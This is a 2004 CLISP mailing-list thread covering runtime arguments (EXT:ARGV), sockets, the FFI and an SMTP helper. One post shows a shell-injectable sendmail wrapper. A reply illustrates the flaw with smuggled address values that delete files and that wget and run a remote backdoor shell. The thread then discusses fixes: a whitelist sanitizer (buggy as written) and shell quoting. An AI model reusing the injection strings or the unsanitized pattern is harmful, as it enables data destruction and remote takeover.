---/--\\\------
--/----\\\-----
  /      \\\/

[1]> (lisp-implementation-version)
"2.31 (2003-09-01) (built on cmn13.stanford.edu [171.64.197.162])"


I would like to be able to find out the -M value at runtime because one 
of the "rules" id like for my init loading in a binary release would 
allow an initfile for my program to be placed in whatever directory the 
user put the application image. I can determine this value is all Lisps 
so far but clisp which I have not been able to figure out yet so far -- 
is there any way for my program get the compelte args passed to 
lisp.run ??


Rick Taube
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Moin Douglas Philips,

>    Just a ping to find out if there are folks out there "doing much" 
> with the sockets library in CLISP or if FFI is the preferred method. I 
> found some messages in the archive from about 3 years ago re: UDP and 
> using FFI... If there have been more recent messages, a pointer/tip to 
> a subject line or date range would be appreciated. Thanks,

  normal networking improved a bit last year, when I needed (socket-status
  to work right in combination with (read-byte-sequence - so normal TCP
  client server applications are possible.

    (setq s (socket-server 5555))
    (setq x (socket-accept s))
    (format x "Hello!~%")
    (setq y (read-line x))
    (format x "y = ~A~%" y)
    (format x "BYE~%")
    (close x)
    (socket-server-close s)

  This could be exteneded towards you application. But you may either
  want to fork() after (socket-accept to continue using a simple (read-line
  on the socket, or you need to use (read-byte-sequence as stdio does'nt
  work with select().

  An FFI implementing simple (read-line and hiding the nastynesses of
  IAC telnet signals would be nice. I therefore swiched to GCL where
  (defentry is much easier than FFI.

Bye Michael
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# If I save a clisp image and then boot it thusly:
# 	clisp -M /path/to/my.img
# 
# is it possible to discover at runtime what the value for -M  was?

[This is somewhat tacky and does not truly answer your exact question
but it will work:]

Assuming you are on a Unix, you can pass in the info via the shell
envirnoment: call CLISP instead w/ this shell script

#----------  Cut here ------
#!/bin/sh
# Save this as clisp_wrapper
CLISP_ARGS="-q -E en -K full"
export CLISP_ARGS
clisp $CLISP_ARGS
#----------  Cut here ------

You can put the "-M <file>" in place of CLISP_ARGS.

Now when I the wrapper is run the args are accessible via GETENV

hin@van-halen /van-halen/u/hin>./clisp_wrapper 

[1]> (getenv "CLISP_ARGS")
"-q -E en -K full "
[2]> 


In your case you would see "-M /path/to/my.img" as the result
of eval'ing
	(getenv "CLISP_ARGS") 

If you needed just the the file name you'd have to parse it out, and
also make sure to ignore other args if -M was not the only one used.

See I told you it was tacky. :)

---
John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA
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Sam Steingold <sds@gnu.org> writes:

> I did not realize that when you said "on-line help" you meant "help from
> the running CLISP process", not "documentation on the web".  Sorry.
> Indeed, it would be nice to have a better help available.

defun, defvar, and friends could be changed to stuff the docstring if
supplied on the symbol plist, and the describe function could look
there for it.


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"John K. Hinsdale" <hin@alma.com> writes:

> Now, I *AM* thinking of writing a simple SMTP client for my programs
[...]
> PS: There seems to be a simple SMTP client at Franz's site but it
> appears Franz/allegro specific (just as my CLISP-sockets SMTP lib

You may check the code that comes with CLOCC:

  src/cllib/url.lisp


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   > installed clisp using Fink and I'm not sure where it will habe ...)

I found them in /sw/share/doc/clisp/
 
   the official documentation for CAR is
   <http://www.lisp.org/HyperSpec/Body/acc_carcm_cdr_darcm_cddddr.html>.
   I think (describe 'car) should print the above URL.
   
   The non-ANSI features should be documented in the impnotes and
   DESCRIBE should print the reference to the appropriate place in
   the impnotes.

I think it would be nice if the data was actually printed to the
screen, not just the reference. It shouldn't be too hard w/ some
text processing to get the stuff to print - assuming it can be
freely distributed.


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Joe Corneli writes:
>    > installed clisp using Fink and I'm not sure where it will habe ...)
> 
> I found them in /sw/share/doc/clisp/
>  
>    the official documentation for CAR is
>    <http://www.lisp.org/HyperSpec/Body/acc_carcm_cdr_darcm_cddddr.html>.
>    I think (describe 'car) should print the above URL.
>    
>    The non-ANSI features should be documented in the impnotes and
>    DESCRIBE should print the reference to the appropriate place in
>    the impnotes.
> 
> I think it would be nice if the data was actually printed to the
> screen, not just the reference. It shouldn't be too hard w/ some
> text processing to get the stuff to print - assuming it can be
> freely distributed.

There's an easy way out if the data is free but not freely distributed:

Write a program that will download the data and pre-process it for the
user in the installation stage.  It's  not too hard to parse html (but
beware: Hyperspec html is invalid).



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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-02-09 13:54:49 -0600]:
>
> I think it would be nice if the data was actually printed to the
> screen, not just the reference. It shouldn't be too hard w/ some text
> processing to get the stuff to print - assuming it can be freely
> distributed.

GCL comes with some texi docs based on it.
could you please investigate the issue?
i.e., can we distribute something based on CLHS?
then we can use lynx or elinks to convert it to text.
maybe.

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The GCL texi support is very nice, at least it was last I checked.  
However, I think it is based on CLTL1 (I may be wrong).

Marco

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>> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-02-09 13:54:49 -0600]:
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>> distributed.
>
> GCL comes with some texi docs based on it.
> could you please investigate the issue?
> i.e., can we distribute something based on CLHS?
> then we can use lynx or elinks to convert it to text.
> maybe.
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> * Rick Taube <gnhor@hvhp.rqh> [2004-02-09 09:31:18 -0600]:
>
> If I save a clisp image and then boot it thusly:
> 	clisp -M /path/to/my.img
>
> is it possible to discover at runtime what the value for -M was?

it has been asked before on many occasions, so I now decided to add
this functionality.

CVS HEAD now has function EXT:ARGV which returns a (fresh) vector of
argument strings.
Note that these are the arguments that the driver (clisp) passes to
runtime (lisp.run), so it contains "-M" pretty much always.

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   There's an easy way out if the data is free but not freely
   distributed:

I don't know, that idea sounds dangerously close to
Why-CLISP-is-under-GPL :)



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 >     Just a ping to find out if there are folks out there "doing much" 
 > with the sockets library in CLISP or if FFI is the preferred method. 
I use it for web servers, my mail server, etc, etc.
There is a raw sockets interface build from FFI that I have also used.

 > found some messages in the archive from about 3 years ago re: UDP and 
 > using FFI... If there have been more recent messages, a pointer/tip to 
 > a subject line or date range would be appreciated. Thanks,
The raw sockets interface is actually not a bad way to go for UDP.
In this case you really want to process things by the packet anyway.
Though it would be better to have the system do defragmentation for you.

 > From: "John K. Hinsdale" <hin@alma.com>
 > Now, I *AM* thinking of writing a simple SMTP client for my programs
 > to send Email notifications to me for certain events.  For that I
 > would use the socket interface directly from Lisp to speak the SMTP
 > protocol.

Much easier to use something like
(defun email (address string)
  (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address))))
    (princ string s) (close s)))
then
           (email address
		  (format
		   nil
		   "from: bar@foo.com~%~
                    to: ~A~%~
                    subject: testing~%~%~
                    this is a test~%~%"
		   address))
If you want a server, I have one at clocc.



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It seems to be pretty clear from 

http://www.lispworks.com/reference/HyperSpec/Front/Help.htm#Legal

that it is not permissible to distribute modified versions of the
CLHS.


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On Mon, Feb 09, 2004 at 03:51:51PM -0800, Don Cohen wrote:
>  >     Just a ping to find out if there are folks out there "doing much" 
>  > with the sockets library in CLISP or if FFI is the preferred method. 
> I use it for web servers, my mail server, etc, etc.
> There is a raw sockets interface build from FFI that I have also used.
> 
>  > found some messages in the archive from about 3 years ago re: UDP and 
>  > using FFI... If there have been more recent messages, a pointer/tip to 
>  > a subject line or date range would be appreciated. Thanks,
> The raw sockets interface is actually not a bad way to go for UDP.
> In this case you really want to process things by the packet anyway.
> Though it would be better to have the system do defragmentation for you.
> 
>  > From: "John K. Hinsdale" <hin@alma.com>
>  > Now, I *AM* thinking of writing a simple SMTP client for my programs
>  > to send Email notifications to me for certain events.  For that I
>  > would use the socket interface directly from Lisp to speak the SMTP
>  > protocol.
> 
> Much easier to use something like
> (defun email (address string)
>   (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address))))
>     (princ string s) (close s)))
> then
>            (email address
> 		  (format
> 		   nil
> 		   "from: bar@foo.com~%~
>                     to: ~A~%~
>                     subject: testing~%~%~
>                     this is a test~%~%"
> 		   address))

This is not a good idea. You've just gained yourself a security hole
by not fully sanitizing the address string to avoid shell command 
injections and you are relying on being able to use the sendmail 
command to send mail.

Since you are unportable to other Lisps anyway (ext:make-pipe-output-stream),
why not do it the right way and build a very simple SMTP client using the
sockets-library? After all, the basic SMTP dialogue is simple enough to
be used with telnet to send mail in a hurry.

This has the advantage that it works on any platform CLisp runs on,
wether it has a working sendmail for you to use and a correct local 
mail configuration or not.

> If you want a server, I have one at clocc.

Regards,
      Alex.
-- 
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 looks like work."                                      -- Thomas A. Edison


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Joe Corneli writes:
> It seems to be pretty clear from 
> 
> http://www.lispworks.com/reference/HyperSpec/Front/Help.htm#Legal
> 
> that it is not permissible to distribute modified versions of the
> CLHS.

Indeed, but nothing prevents you  to distribute a program that fetches
an  UNMODIFIED  copy  of  CLHS,  and  modifies  it  in  place  at  the
customer's, without ever distributing that modified version.  


Besides, we're  talking about  a modification in  the form not  in the
substance.  For one thing, modifications  of the form are done all the
time (to display, to print, to speak out, etc), and for the other, the
current form  is invalid HTML.  (There are H1  tags embeded in  A tags
which has never been valid HTML).

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Alexander Schreiber writes:
 > > (defun email (address string)
 > >   (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address))))
 > >     (princ string s) (close s)))
 > > then
 > >            (email address
 > > 		  (format
 > > 		   nil
 > > 		   "from: bar@foo.com~%~
 > >                     to: ~A~%~
 > >                     subject: testing~%~%~
 > >                     this is a test~%~%"
 > > 		   address))
 > 
 > This is not a good idea. You've just gained yourself a security hole
 > by not fully sanitizing the address string to avoid shell command 

How do you know whether address has been sanitized?
Hmm, if it's not, I wonder how it can be used ...

 > injections and you are relying on being able to use the sendmail 
 > command to send mail.

That's what it's for.  An using it is a whole lot easier than
rewriting the code in lisp.  The only reason not to use it is
that you're not satisfied with what it does.
Or, of course, if you don't have such a program available.
If that's the case, by all means ...



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   Indeed, but nothing prevents you to distribute a program that
   fetches an UNMODIFIED copy of CLHS, and modifies it in place at
   the customer's, without ever distributing that modified version.

I agree that that _should_ be OK from a legal perspective.  But I'm
not a lawyer!

I think a slightly less risky and potentially more useful approach
would be to see if we could get the actual specs on which the
HyperSpec is based released under the FDL (it doesn't hurt to ask)
and then go from there. Of course, it might be more work to do
things this way, and there's no guarantee that the specs would be
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Sam -- ext:arv works great, its a very handy addition. Thanks so much!

best,
Rick


[1]> (ext:argv)
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On Mon, Feb 09, 2004 at 10:47:56PM -0800, Don Cohen wrote:
> Alexander Schreiber writes:
>  > > (defun email (address string)
>  > >   (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address))))
>  > >     (princ string s) (close s)))
>  > > then
>  > >            (email address
>  > > 		  (format
>  > > 		   nil
>  > > 		   "from: bar@foo.com~%~
>  > >                     to: ~A~%~
>  > >                     subject: testing~%~%~
>  > >                     this is a test~%~%"
>  > > 		   address))
>  > 
>  > This is not a good idea. You've just gained yourself a security hole
>  > by not fully sanitizing the address string to avoid shell command 
> 
> How do you know whether address has been sanitized?

Of course I can't know that from this short example. But people tend to
forget thing like that, once their code is working.

> Hmm, if it's not, I wonder how it can be used ...

(email "foo@bar.com; rm -rf /" "Mhuahahahah") 
While this will not wipe the entire filesystem unless running as root,
it will still take care of everything the user it is running under has
appropriate access to.

If course, this is a rather crude and blatantly obvious attack. One
might have much more fun with something like

(email "foo@bar.com; wget http://some.host.edu/shellserv ; ./shellserv"
       "hehe")

With shellserv being a script/binary that forks into the background,
binds to a nice high port and waits for its master to connect, offering
him a local shell, from which he then can start things - like trying to
gain elevated privileges through local exploits.
 

Regards,
       Alex.
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 > > How do you know whether address has been sanitized?
 > Of course I can't know that from this short example. But people tend to
 > forget thing like that, once their code is working.
I must agree.  
So perhaps it would be better when posting code like this
to include some safeguards, as in

(defun email (address string)
  ;; some security - consider email address `rm -rf /*`
  (loop for i from 1 below (1- (length rp))
        unless (alphanumericp (char rp i))
        unless (position (char rp i) "@.-_+") ;; chars that are allowed
        do (setf (char rp i) #\_))
  (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address))))
    (princ string s) (close s)))



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Moin Don Cohen,

> So perhaps it would be better when posting code like this
> to include some safeguards, as in

> (defun email (address string)
>   ;; some security - consider email address `rm -rf /*`
>   (loop for i from 1 below (1- (length rp))
>         unless (alphanumericp (char rp i))
>         unless (position (char rp i) "@.-_+") ;; chars that are allowed
>         do (setf (char rp i) #\_))
>   (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address))))
>     (princ string s) (close s)))

  this might work in US only, but it ignores modern domain names.
  But implementing puny-code for UTF to domain name conversion,
  is realy an other can of worms. Here Perl has a real benefit over
  LISP - I can just `perl -c `use CPAN; install Net::SMTP;` and
  share the work of other Perl hackers.

Bye Michael
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> * Rick Taube <gnhor@hvhp.rqh> [2004-02-10 08:49:59 -0600]:
>
> Sam -- ext:argv works great, its a very handy addition. Thanks so much!
you are welcome.
note that this feature might change in the future (before the next release)

> [1]> (ext:argv)
> #("/usr/local/lib/clisp/base/lisp.run" "-B" "/usr/local/lib/clisp" "-N"
>    "" "-I" "-q" "-ansi" "-M"
>    "/Lisp/cm/bin/../bin/clisp_2.32_darwin-powerpc/cm.img")

when you distribute CM with a driver script invoking CLISP with the CM
image, please do not make "-q" the default - there should be a user
option for that, of course, but removing the banner by default takes
away some credit from the CLISP developers.  Of course, you should add
a CM banner after the CLISP one (just like maxima does) - which should
also be disabled when clisp is called with "-q".

Thank you.

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Alexander Schreiber writes:
 > On Mon, Feb 09, 2004 at 10:47:56PM -0800, Don Cohen wrote:
 >
 > > Hmm, if it's not, I wonder how it can be used ...
 > 
 > (email "foo@bar.com; rm -rf /" "Mhuahahahah") 
 > While this will not wipe the entire filesystem unless running as root,
 > it will still take care of everything the user it is running under has
 > appropriate access to.

This is one of those features that is just screaming to be refactored.
Rather than try to figure out if your command-line is safe in every
function, go through the pain of implementing shell quoting once, and
be safe from then on:

  (defun shell-command (command &rest args)
    "Return a properly quoted string for the command"
    ...)

Come to think of it, this would be a really good thing to add to CLISP
itself, since it could vary from system to system, to do the correct
native quoting.


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> * Thomas F. Burdick <gso@BPS.Orexryrl.RQH> [2004-02-10 11:17:06 -0800]:
>
>   (defun shell-command (command &rest args)
>     "Return a properly quoted string for the command"
>     ...)
>
> Come to think of it, this would be a really good thing to add to CLISP
> itself, since it could vary from system to system, to do the correct
> native quoting.

<clisp/src/runprog.lisp> has SHELL-QUOTE and SHELL-SIMPLE-QUOTE (same
for unix but different for woe32).
neither is exported, but you can look at the source code and see if it
does what you need.
they are not exported (not even directly callable outside of SHELL and
friends), but you can try
(funcall (sys::%record-ref #'ext:execute 7) "foo bar")



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> when you distribute CM with a driver script invoking CLISP with the CM
> image, please do not make "-q" the default - there should be a user
> option for that, of course, but removing the banner by default takes
> away some credit from the CLISP developers.  Of course, you should add
> a CM banner after the CLISP one (just like maxima does) - which should
> also be disabled when clisp is called with "-q".

yes, sorry! ill fix that!



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Thomas F. Burdick writes:
> Alexander Schreiber writes:
>  > On Mon, Feb 09, 2004 at 10:47:56PM -0800, Don Cohen wrote:
>  >
>  > > Hmm, if it's not, I wonder how it can be used ...
>  > 
>  > (email "foo@bar.com; rm -rf /" "Mhuahahahah") 
>  > While this will not wipe the entire filesystem unless running as root,
>  > it will still take care of everything the user it is running under has
>  > appropriate access to.
> 
> This is one of those features that is just screaming to be refactored.
> Rather than try to figure out if your command-line is safe in every
> function, go through the pain of implementing shell quoting once, and
> be safe from then on:
> 
>   (defun shell-command (command &rest args)
>     "Return a properly quoted string for the command"
>     ...)
> 
> Come to think of it, this would be a really good thing to add to CLISP
> itself, since it could vary from system to system, to do the correct
> native quoting.

shell-quote-argument

It depends on the shell used.



For shell the documentation says:

    (EXT:SHELL [command])  calls the operating system's shell.

What is the operating system's shell? Is it /bin/sh or is it what's in
the environment variable SHELL?  (And I don't even ask what happens on
non-posix systems).

The documentation should be improved here.



For  run-shell-command and  run-programm, it's  clear: it's  what's in
SHELL.  It  does not say  what happens when  there's no SHELL  or when
it's empty.


A shell quoting function cannot take into account that. Imagine I have:
   (setf (getenv "SHELL") "/usr/bin/clisp")
or:
   (setf (getenv "SHELL") "/usr/bin/perl")
or:
   (setf (getenv "SHELL") "/usr/bin/dwim-shell")

How do you quote for these and others shells?



Here's what emacs does. It's not a primitive:

(defun shell-quote-argument (argument)
  "Quote an argument for passing as argument to an inferior shell."
  (if (eq system-type 'ms-dos)
      ;; Quote using double quotes, but escape any existing quotes in
      ;; the argument with backslashes.
      (let ((result "")
	    (start 0)
	    end)
	(if (or (null (string-match "[^\"]" argument))
		(< (match-end 0) (length argument)))
	    (while (string-match "[\"]" argument start)
	      (setq end (match-beginning 0)
		    result (concat result (substring argument start end)
				   "\\" (substring argument end (1+ end)))
		    start (1+ end))))
	(concat "\"" result (substring argument start) "\""))
    (if (eq system-type 'windows-nt)
	(concat "\"" argument "\"")
      (if (equal argument "")
	  "''"
	;; Quote everything except POSIX filename characters.
	;; This should be safe enough even for really weird shells.
	(let ((result "") (start 0) end)
	  (while (string-match "[^-0-9a-zA-Z_./]" argument start)
	    (setq end (match-beginning 0)
		  result (concat result (substring argument start end)
				 "\\" (substring argument end (1+ end)))
		  start (1+ end)))
	  (concat result (substring argument start)))))))

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Date: Thu Feb 12 02:48:06 2004
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Hi,

Nico Swart is confused about some aspects of what the CLISP FFI calls =
places. He writes:

>Is this because of 'fresh' variables or what am I missing ?
I'm not sure what you mean by fresh, but indeed, your C code is passed =
a new (stack-allocated) *struct bar, not the distinguished address of =
my_struct.

>(def-c-var p_my_struct (:LIBRARY "libtest2.so.0") (:type (c-ptr bar)))
Please enter
	p_my_struct
at the Lisp prompt. You'll obtain a Lisp-level copy of the struct =
contents, as a Lisp structure (or class). Each time p_my_stuct is =
evaluated, this copying occurs.

When you then write
> (get-own-c-float-1 p_my_struct)
you pass this Lisp instance to the call-out function, which =
stack-allocates a corresponding C struct and fills it from the Lisp =
values.
I.e. For each call, you pass in a new (pointer to a) struct.

Since you don't use :out parameter mode, the bar.out slot that you fill =
is never read back by Lisp.

What you may want is working with references. These materialize in =
CLISP as #<FOREIGN-VARIABLE...> objects.

Please try out, at the Lisp prompt:
(ffi:c-var-object p_my_struct)  -> #<FOREIGN-VARIABLE...>
(ffi:c-var-address p_my_struct) -> #<FOREIGN-ADDRESS ...>

If you want to work with references, you must define your foreign =
function as taking a c-pointer instead of (c-ptr bar) and pass it a =
reference or address. E.g.
(def-call-out get-own-c-float-1
   (:arguments (ptr c-pointer))

You cannot have a single call-out function accept either Lisp-level =
structures/classes or foreign references interchangeably.

You then call the function using either:
(get-own-c-float-1 (ffi:c-var-object p_my_struct))
(get-own-c-float-1 (ffi:c-var-address p_my_struct))

The #<FOREIGN-...> are normal Lisp objects. You may store them away =
like anything else.
(defparameter *my-stuct-ref* (ffi:c-var-object p_my_struct))
(get-own-c-float-1 *my-stuct-ref*)

You could interface like this (untested):
(with-c-var (data 'bar)
  (setf (slot data 'x) 100.0d0)
  (setf (slot data 'y)  20.0d0)
  (values
   (get-own-c-float-1m (c-var-address data))
   ;;notabene: I consider this part bad code:
   ;;normally I'd only dereference :out slots when the
   ;; function returns a success indicator. Otherwise the content
   ;; may be undefined, and reading it may result in a conversion
   ;; error (not all random bit patterns represent readable data),
   ;; certainly not one's intent.
   (slot data 'out)))


You could also try to take advantage of the CLISP FFI's :in and :out =
modes. These do not feature struct-level granularity. Instead, you must =
split them at the function parameter level. I.e. use a struct for :in, =
and another for :out values.

Try to not create a mixed structure with some :in and some :out values, =
as you currently have. Distinguished in and out modes IMHO provide for =
a better design, in the sense that it is more amenable to =
cross-language interfacing, performance tuning, database interaction =
and distributed computing.

It also does not require you to initialize :out slots.
(with-foreign-object (p 'bar (make-bar :x 10.0d0 :y 20.0d0))
  (foreign-value p))
*** - NIL cannot be converted to the foreign type DOUBLE-FLOAT
you'd have to add :out 0.0d0 to make-bar.

Of course, I myself wrote low-level C code with mixed in and out slots =
-- but at least, it was a conscious and weighted decision, instead of =
"I always did it this way and never thought about any other one".


Regards,
	J=F6rg H=F6hle.
For reference:
>struct bar {
>    double x, y;
>    double out;
>};
>(def-call-out get-own-c-float-1
>   (:library "libtest2.so.0")
>   (:language :stdc)
>   (:name "test_dll2")
>   (:arguments (ptr (c-ptr bar)))
>   (:return-type double-float))


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Date: Thu Feb 12 05:31:01 2004
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Hi,

John K. Hinsdale wrote:
>in fact if one found
>oneself using the FFI so that he could make TCP/IP related calls from
>"C" for functionality he needed from Lisp, that is probably an
>indication that the socket lib is lacking and thus occasion to
>incorporate instead those functions in the socket lib instead.
>Hope that made sense.

Indeed. A decade ago, I made Emacs on my Amiga work with VM (mail client). I added a vm-pop.el and had feedmail.el talk to SMTP servers by adding a single, reasonably small function.
Nowadays I'm still using feedmail.el to have GNUEmacs on my MS-Windows box send out E-Mail to the SMTP servers in the corporate intranet.

My point is that all it took was to provide the function open-network-stream (cf. tcp.el for a start). Based on that, enough buffer/file/string/process manipulating functions and source code examples were available for sending and reading data.

Most of the needs for socket support discussed in clisp-lisp IMHO require little socket-specific code (not talking about UDP here) -- yet requires some Lisp-level API to use.

Like in Emacs, a lot of benefit can/could be reached by having good streams/socket integration (which I believe is there in newer CLISPs), so that most of the work can be achieved using standard CL operators to talk to a (possibly bidirectional) stream of bytes or characters.


>Now, I *AM* thinking of writing a simple SMTP client for my programs
>to send Email notifications to me for certain events.  For that I
>would use the socket interface directly from Lisp to speak the SMTP
>protocol.
I wouldn't use the socket FFI here and rather consider the Emacs-like approach. I'd rather use Lisp streams to talk to some socket with an SMTP server at the other end. Esp. CLISP has transparent support for :line-terminator and the mandatory CRLF. I believe CLISP's listen/input-available-p support has gotten to the point where it's actually usuable. But other guys in this list actually using the code should comment on that.

A problem IMHO often is that toy code is trivial to write. For example, My Emacs vm-pop.el did not know about time-outs and other network oddities. It entirely relied on mechanisms external to my code to deal with such situations. E.g. me sitting in front of Emacs and hitting ^G when I felt it took too long, because the network connection was poor or whatever.

That is possibly why we often see simple libraries (for any programming language), and rarely really defensive and robust code.
Granted, it's hard to provide such code, because it's hard to factor the environment into code (like my ^G Emacs example hopefully shows).

So there tens to be a lot of look-at-code & modify for own needs, whereas people (esp. Java people) try to standardize try-to-do-and-consider-all-and-everything APIs. I'm unsure whether this is beneficial in the long-run. At least, there seems to be a market (or economic niche?) for small, ad hoc solutions, that mostly work, usually.
[IMHO, Python's libraries are full of this, for better or worse, YMMV]

Regards,
	Jorg Hohle.


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Date: Thu Feb 12 05:47:09 2004
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Hi,

Alexander Schreiber wrote:
>> Much easier to use something like
>> (defun email (address string)
>>   (let ((s (ext:make-pipe-output-stream (format nil 
>"sendmail ~A" address))))
>>     (princ string s) (close s)))

>This is not a good idea. You've just gained yourself a security hole
>by not fully sanitizing the address string to avoid shell command 
>injections and you are relying on being able to use the sendmail 
>command to send mail.

OTOH, SMTP may not be what's needed, e.g. MS-Exchange could be used, or SSL transmissions. Also, the local mail may decide to store some mails locally. It makes some sense to delegate.

My point here however is that, coming from an Amiga, I've often had a horror from code which IMHO gratuitously used UNIX (or MS-windows) idioms where portable Lisp code could be used.

E.g. I've usually sent e-mail to people when I saw
(ext:shell "rm -f " filename)
and told them about #'cl:delete-file.

Similarly, having used quite different UNIX systems like SunOS, Solaris2, some Linux and *BSD, code like the above tends to work on the author's system only, because of the many different command switches and command paths.
In Emacs, there's therefore a tendency to use a lot of configuration variables, but my point is that outside of an editor, you have to provide an awful lot of the same configuration options using your application's GUI (that you thus have to write) or other means, and you need to document that.

Lots of DEFVAR in every application is not the best way to configure a system that I can think of. My thoughts much more go towards sets of autonomous agents (let's call them that way), that now well how to perform a well-defined action, e.g. send out a single e-mail. Maybe I'll see such systems put to broad use before the end.

Reality is of course, more complex. What if the agent cannot send out the e-mail? What if the address is ot ok? What if...? Must the requesting application know about this?
Lots of application/user-specific options raise their ugly heads.

Regards,
	Jorg Hohle.


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Date: Thu Feb 12 07:08:01 2004
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Hi,

Michael Koehne wrote:
>  An FFI implementing simple (read-line and hiding the nastynesses of
>  IAC telnet signals would be nice. I therefore swiched to GCL where
>  (defentry is much easier than FFI.
This made me curious so I looked at defentry to see whether there was something new about FFI to learn.
http://www.scit.wlv.ac.uk/appdocs/gcl/gcl-si_16.html
I found nothing particularly attracting to me.

If you prefer defentry over FFI then you might wish to take a look at CLISP's module's documentation, esp. modprep.

My opinion is that defentry allows you to put some C code into a Lisp file. Modprep allows you to put C code into a mostly-C file, with special preprocessor macros like DEFUN to ease definining parameters.

Another approach might be to use FFI:C-LINES to add C code to the current module. Long ago, I thought about extending FFI:C-LINES to be able to add functions and variables that the module system would know about. That would be very similar to defentry. It's really just a matter of some more code in CLISP's foreign1.lisp, given some design choices. I wondered if this could be useful to anybody except me.

The list of parameter types supported by defentry is very poor:
>The list of allowed types is (object char int float double string)

There's some benefit (and also drawbacks) in mixing C and Lisp code a la defentry. Literate programming comes to mind, which mixes code and documentation, and variants like dotweb or dotnoweb, which, from a single source file, extract the shell, C Lisp, TeX, xyz. parts and puts these into separate files.

Yet even for small files, I prefer to have separate Lisp and C files, partly because in C, one usually needs a plethora of #include and #ifdef... #include (for portability), which I don't want to see in Lisp files.

All in all, we're talking here about ease of use or suitability for fast-forward aka. quick hacks, not about advanced or high-level features.

Given my Amiga background, where the goal was to interface to existing libraries, compiling and adding tiny C wrappers was deemed superfluous. Nowadays, I'd expect similar useage patters with FFI to dynamic link libraries on MS-Windows and UNIX: to use an existing libxyz.so/dll/dynlib, *I* wouldn't want to have to define some C glue code.
YMMV. In my article on extending CLISP, I believe I had listed some pros and cons on glue code.

Regards,
	Jorg Hohle.


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Date: Thu Feb 12 09:32:05 2004
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On Thu, Feb 12, 2004 at 02:44:37PM +0100, Hoehle, Joerg-Cyril wrote:
> 
> Alexander Schreiber wrote:
> >> Much easier to use something like
> >> (defun email (address string)
> >>   (let ((s (ext:make-pipe-output-stream (format nil 
> >"sendmail ~A" address))))
> >>     (princ string s) (close s)))
> 
> >This is not a good idea. You've just gained yourself a security hole
> >by not fully sanitizing the address string to avoid shell command 
> >injections and you are relying on being able to use the sendmail 
> >command to send mail.
> 
> OTOH, SMTP may not be what's needed, e.g. MS-Exchange could be used, or
> SSL transmissions. Also, the local mail may decide to store some mails
> locally. It makes some sense to delegate.

So run a local mail server speaking SMTP to local clients and taking
care of delivering mail, employing whatever means are appropriate
(be it SMTP, UUCP, printer-pigeon-scanner, ...) to deliver the mail
further.

SMTP _is_ a standard protocol for sending mail and even Exchange can be
configured to speak SMTP to the sane remainder of the world.

> My point here however is that, coming from an Amiga, I've often had a
> horror from code which IMHO gratuitously used UNIX (or MS-windows) 
> idioms where portable Lisp code could be used.
> 
> E.g. I've usually sent e-mail to people when I saw
> (ext:shell "rm -f " filename)
> and told them about #'cl:delete-file.

Ok, ignoring the facilities of the programming environment one uses in
favour of running external commands is asking for punishment. Especially 
since running external commans usually adds a lot of unnecessary
problems (things like needing the sanitize the commandline, checking for
locations of executables, verifying execution and so on) and therefore
should be avoided as far as sensible just for this reason.

> Similarly, having used quite different UNIX systems like SunOS, Solaris2,
> some Linux and *BSD, code like the above tends to work on the author's
> system only, because of the many different command switches and 
> command paths.

That's an unfortunate problem when one deals with a wide variety of UNIX
platforms. Seems like commercial UNIX vendors really _did_ hate the
words portability and interoperability. Ways to deal with these problem
exist, but they aren't necessarily elegant.

> Lots of DEFVAR in every application is not the best way to configure
> a system that I can think of. My thoughts much more go towards sets
> of autonomous agents (let's call them that way), that now well how to
> perform a well-defined action, e.g. send out a single e-mail. Maybe 
> I'll see such systems put to broad use before the end.

So start working on it. Otherwise, the Java/XML crowd will get there
first and you'll end up with a few hundert megabytes worth of 
"Java Enterprise Modular Configuration Agent System" just to send a
simple email ;-)

> Reality is of course, more complex. What if the agent cannot send out
> the e-mail? What if the address is ot ok? What if...? Must the 
> requesting application know about this?
> Lots of application/user-specific options raise their ugly heads.

Regards,
       Alex.
PS: Could you please stick to keep your line length below 80 characters?
    Having to reformat an entire mail when quoting it sucks.
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Date: Thu Feb 12 09:38:09 2004
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Moin Hoehle, Joerg-Cyril,

> >  An FFI implementing simple (read-line and hiding the nastynesses of
> >  IAC telnet signals would be nice. I therefore swiched to GCL where
> >  (defentry is much easier than FFI.
> This made me curious so I looked at defentry to see whether there was
> something new about FFI to learn.

  well - I've tried to understand clisp .d files and FFI several times,
  but failed. My current GCL code is in a stage, that I already use
  a wrapper macro around defentry and stuff, as GCL has its problem
  with ELF and ECL has a slightly different defentry syntax. A step
  would be to extend this wrapper to build a clisp core from same
  source. CLISP has the smallest footprint and the fastest bytecode
  engine, for my kind of applications.
  
> Given my Amiga background

  i know this is totaly off topic, but do you know a clisp for KICK.ROM
  3.1, Kickstart version 40.63, Workbench version 34.28 ? The sourceforge
  only offers linux binaries - and I dont have a C compiler on the Amiga,
  nor the time to generate a GNU cross compiler on my Debian box.

  I'm just collecting them for UAE ;)

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> * Michael Koehne <xenrur@pbclyrsg.qr> [2004-02-12 18:35:52 +0100]:
>
> I've tried to understand clisp .d files and FFI several times,

what do you need to understand .d for?
Did you look at the modules facility?
<http://clisp.cons.org/impnotes/modules.html>
what are your problems with the FFI?
<http://clisp.cons.org/impnotes/dffi.html>
please be specific - otherwise we cannot help you!

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Moin Sam Steingold,

> > * Michael Koehne <xenrur@pbclyrsg.qr> [2004-02-12 18:35:52 +0100]:
> > I've tried to understand clisp .d files and FFI several times,
> what do you need to understand .d for?

  much more time - I tried to understand what happens inside stream.d
  because 'socket-status did'nt work with 'read-line ( it never would
  as stdio never would work with select - as I realised later ) I
  therefore came up to use 'read-byte-sequence and convert-string-from-bytes
  instead ( thanks to your suggestion ) and avoided coding .d.

> Did you look at the modules facility?
> <http://clisp.cons.org/impnotes/modules.html>
> what are your problems with the FFI?
> <http://clisp.cons.org/impnotes/dffi.html>
> please be specific - otherwise we cannot help you!

  I mainly need calling normal C libraries like X or OpenGL or
  lib[cm] directly. 

  a screen full of code would be enough as a starter, e.g. a small
  test of my gcl-elf-loader (oh well old GCL doesn'nt know ELF ;)
  looks like :

    (elf::use-lib 'libm "libm.so.6")
